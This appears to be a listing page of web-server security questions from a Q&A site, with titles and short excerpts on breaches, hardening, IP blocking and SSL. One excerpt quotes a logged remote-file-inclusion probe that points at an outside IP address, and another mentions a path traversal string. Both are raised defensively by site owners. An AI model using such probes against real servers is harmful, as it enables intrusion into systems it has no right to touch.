A system whose primary function is to deliver web pages on request to clients.
6
votes
2answers
1k views
Known security vulnerabilities in JBoss 4.x.x?
We just had a breach of one of our servers, where an intruder got access using the JBoss account and started running exploit scripts. The server has been taken offline and is being investigated, but ...
6
votes
5answers
801 views
Malware code added when site viewed externally
Please see second followup at the bottom! (Now with added real malicious code! ...ish)
Prompted by this question, I've noticed that my university's student charity organisation has an interesting ...
6
votes
3answers
1k views
What's involved in taking over someone else's domain name?
I'm asking this for purely academic reasons.
I know that there are domain record lists and whatnot, but I'm trying to understand the exact structure of how DNS works and where someone can potentially ...
6
votes
5answers
432 views
Securing Debian Apache PHP Server
I have Debian Apache PHP server. I want to secure him after the classic installation process.
My usual steps are :
List item
update all packages
remove all unnecessary services like named, portmap, ...
6
votes
2answers
599 views
How does IP tracking work?
Excuse the naive question (I'm more of a dev than a web-sec person)
In the past I've had webservers hacked and usually i've traced it to some random machines which seem to have been compromised (i ...
6
votes
2answers
201 views
Where to put private files on a shared web server
I continually hear and read people warning against the perils of placing proprietary information or confidential documents within the web server root directory. If I am on a shared server, I cannot ...
6
votes
1answer
384 views
Inconsistencies found in OpenID Provider's HTTP Headers. Which one is the most secure that I should imitate in my STS, and Relying Party?
I'm comparing the HTTP headers of the various providers (LiveID, Google, Yahoo, etc) and notice a broad inconsistency in implementation on the sign in page, sign out page, and subsequent pages.
...
5
votes
3answers
397 views
Appropriate defense for 404s in my logs - persistent web scans from one region
This seems to be a fairly easy question to figure out, but I wanted to make sure. I've got about a thousand entries on one of my web servers with phpmyadmin in the connection criterion, but as I ...
5
votes
3answers
347 views
How to respond to attack made from my dedicated server?
There was a sudden unusual peak of outbound traffic from my hosted dedicated server (OS - Windows Server 2008 R2). The hoster threatened to block the server if the problem is not solved.
There are an ...
5
votes
5answers
302 views
Any value in a web-server closing connections on bad requests (or bad pages)?
At least one web-server, nginx, has the ability to "close the connection without sending any headers", by configuring it to return a (nonstandard) 444 to various malformed HTTP requests.
Is there any ...
5
votes
3answers
427 views
Hashcash, is this really used?
I just heard about this term, is it really used? The concept does not seem new, is it used and/or implemented in current technologies?
5
votes
3answers
285 views
How do I defend against known php hacks
I have IPs attempting to probe our web server trying to find open URLs. The two known methods are attempting to find specific nodes on our drupal site, or attempting the ../../../../ trick to try and ...
5
votes
1answer
190 views
How should I store SSL keys on the server?
I have a Node.JS HTTPS webserver instantiated as follows:
var privateKey = fs.readFileSync('./../ssl/localhost.key').toString();
var certificate = ...
5
votes
4answers
135 views
How to know if two IP addresses point to the same web server?
Doing some testing against two IP address in the scope I find one web server in each one. Both host what it seems the same web application.
They are different public (accessible through Internet) IP ...
5
votes
5answers
446 views
Can I improve website security by storing SSL Keys in DNS? Is DNSSec required? Are threat models available?
In light of recent attacks on SSL/TLS communication, people have been asking about ways to improve the security of SSL webserver communication. Several great solutions have been mentioned in the ...
5
votes
3answers
184 views
How to block an IP, if getting many http requests in a second
If some one tried force burst attack on my website, how can I block them?
I mean, I want to block an IP if I have many http/Apache requests in a second.
Thanks in advance.
5
votes
1answer
2k views
Creating a “key server” (HIPAA compliance with AWS)
I'm a part of a small company that is going to be implementing HIPAA compliance. We will be seeking legal counsel, etc so anything heard here will not be taken as legal advice, etc. I just want to ...
4
votes
8answers
391 views
How can I be sure that an intranet app is absolutely not accessible from the internet?
I am developing an intranet application using Apache/MySQL. The server hosting it does not have a public IP address itself, but can access the internet through a router. There is not any sensitive ...
4
votes
4answers
439 views
What are the disadvantages of Tor?
I've just started using Tor recently, and I'm not sure exactly what security issues come with the benefits.
What should/shouldn't I be worried about (in both everyday normal-web browsing use, in ...
4
votes
3answers
345 views
Is there a good reason to turn off phpinfo()?
New server setup and the server admin decided phpinfo was too scary. I guess the fear is that a hacker could somehow get phpinfo() to run from injected php and find out all the extensions that are ...
4
votes
5answers
1k views
Is it trivial to bypass IP blocking?
There is a site with IP blocking. When a client makes too many invalid attempts when guessing e.g. password, then their IP address becomes blocked.
I've heard about IP spoofing and similar attacks. ...
4
votes
4answers
2k views
Benefits of identifying clients based upon the “X-Forwarded-For” or similar HTTP header in addition to Client IP
The X-Forwarded-For header is used by some HTTP proxies to identify the IP address of the client. The wiki page (linked above) mentions that ISPs may use this header as well.
In addition there are a ...
4
votes
3answers
373 views
How do you detect load balancing?
Scenario
You need to PenTest XYZ.com.
You expect, because it is a high traffic site, that multiple servers are being used with a load balancer.
Question
Aside from pulling the MACs (which are ...
4
votes
3answers
247 views
Locking down web-based admin areas with personal SSL certificates
I've been tasked to setup a secure platform, where I've been asked to assign personal SSL certificates to administrators, and have the server only allow persons into the administration areas that have ...
4
votes
3answers
289 views
How can IT audit for installation of IIS Express?
IIS Express is a developer tool for Windows XP and higher which provides the full feature set of IIS, but without needing administrator rights.
I've seen discussion by some developers who are ...
4
votes
5answers
331 views
Is it dangerous to allow user to view a file directory via web browser?
I have a URL which displays all of the pdf files at a given dir by visiting the following site location :
http://www.mysite.com/allpdffiles/
Does this present any security vulnerabilities?
4
votes
3answers
1k views
When is it appropriate to SSL Encrypt Database connections?
Let's say I have a web server I setup, and then a database server.
However, they are communicating locally and are behind firewall. In my opinion, no SSL is needed here right?
The only time to use ...
4
votes
2answers
469 views
Test website for SSL 2.0
I'm in the process of disabling SSLv2 on our IIS-based webserver and am wondering how I can test that SSLv2 is actually disabled?
The website is still in development so not visible outside our ...
4
votes
3answers
278 views
Server root attack?
Someone in Hungary tried something odd recently:
/?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?
This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
2answers
140 views
Most secure response for a server to return to a user scanning for exploits
I have ASP.NET servers hosted in IIS, regularly i see bots attempting to scan my server searching for outdated versions of phpMyAdmin, mysql etc.
Currently these requests all return 404 because ...
4
votes
2answers
460 views
Freebsd: Separating apache service and www-data(htdocs) with jails, is it worth it?
Is it worth separating www-data and apache service from each other, in jails?
I currently have this setup:
Freebsd 9
1x Public ip (jails are in private ip's, nat'ed)
2 separate domains, managed by ...
4
votes
2answers
95 views
Is it actually feasible or useful to use a high number of proxy servers?
In the movies, it's not uncommon to see the digitized global map projected on a huge wall with a line of light (presumably a user's connection) travelling back and forth all over the globe in a ...
4
votes
1answer
1k views
Is server hardening with GRSecurity really necessary on the CentOS 6.3 environment?
I consider myself to be reasonably good with IT, however I am relatively fresh at server and system administration. I am a web developer for my company and I have been charged with setting up and ...
4
votes
2answers
264 views
how unsafe is it for Windows webserver IIS to have domain privileges
Normally in the past, I've managed that the production server only serves http(s) to the internet, and is isolated from it's database by a firewall which only allows database queries to travel. ...
4
votes
3answers
148 views
Failed PCI-DSS Compliance | Submitting Evidence
One of our web servers that is managed by a service provider (completely in their control, we have no login access) just failed PCI-DSS vuln. scan by TrustKeeper. The vuln scan detected the box as a ...
4
votes
1answer
333 views
Intrusion attempt? Host 'somedomain.org' is not allowed to connect to this MySQL server
We have a web site hosted on a shared server. The hosting company's MySQL servers are hosted on a different server.
We collect certain kinds of requests through a web form, and write them to a ...
4
votes
2answers
376 views
How to improve VPS security?
I’m using Linux based VPS hosting, and a firewall and mod_sec help to keep most hackers out. However, over the last couple of weeks I noticed several entries in mod_sec showing that an unknown domain ...
4
votes
1answer
2k views
How to convert IBM Domino SSL keys (private key) to the OpenSSL format?
I have a customer with an IBM Domino server. They offer a way to export SSL keys but in a weird proprietary format. Any idea on how to convert those to OpenSSL?
Basically I need to upload this key to ...
3
votes
7answers
1k views
Server compromised for 2nd time, cannot locate source of attack
I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads.
According to the filesystem dates, ...
3
votes
3answers
668 views
Is it possible to execute a php script in an image file? [duplicate]
I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image.
I opened all the images that he uploaded to my server with ...
3
votes
3answers
347 views
What is the actual security of this login page?
Please visit https://devforums.apple.com
If I visit this site using my Safari 6 web browser, this page does not show the normal security indicator that secure sites normally show.
Does this ...
3
votes
3answers
1k views
is it worth to implement a firewall on a web server you control?
I see the main reasons for a firewall on a web server to be defense in depth and extra cushion for a possible admin error of running an unnecessary daemon. I'm trying to see if I am overlooking ...
3
votes
2answers
210 views
Security concerns about my webapp
I read though OWASP very carefully, but I am not sure about some parts of my website.
I am using jbcrypt on my website. It stores the salt in the hash itself something like this hash+salt. I read ...
3
votes
2answers
227 views
Would our company system be more secure using a VPN?
I'm currently building a back-office system for our company [for internal use] that will manage our customers, accounts etc (not interested in don't reinvent the wheel comments today, thank you!). I'm ...
3
votes
2answers
113 views
Does site need SSL to resend info to a site that does use SSL?
Let's say I have a website isellchicken.com, this site needs to be able to collect sensitive user information like credit card details. This site will not process the information, but will send it to ...
3
votes
2answers
309 views
How helpful is rkhunter?
I have a software firewall implemented on my server, and I have closed all unnecessary ports. I have strong passwords, and I validate user input on my website.
With these things already in place, do ...
3
votes
4answers
892 views
Determining the point of compromise on an infected web server?
Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
3
votes
3answers
154 views
What security standards should be implemented in a simple web application
I am creating a web application that basically reads/writes/updates information from and to a database on a server. I am knowledgeable in computer programming, but while seeking security standards, I ...
3
votes
2answers
205 views
Killing IP connections who “spam” with requests
How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to ...
3
votes
2answers
1k views
Some questions about penetration testing distribution Backtrack 5
I know just the basics of backtrack and I want to ask some questions about it:
Can you attack an ftp server using backtrack? an email server?
I have a Centos virtual private server and backtrack is ...
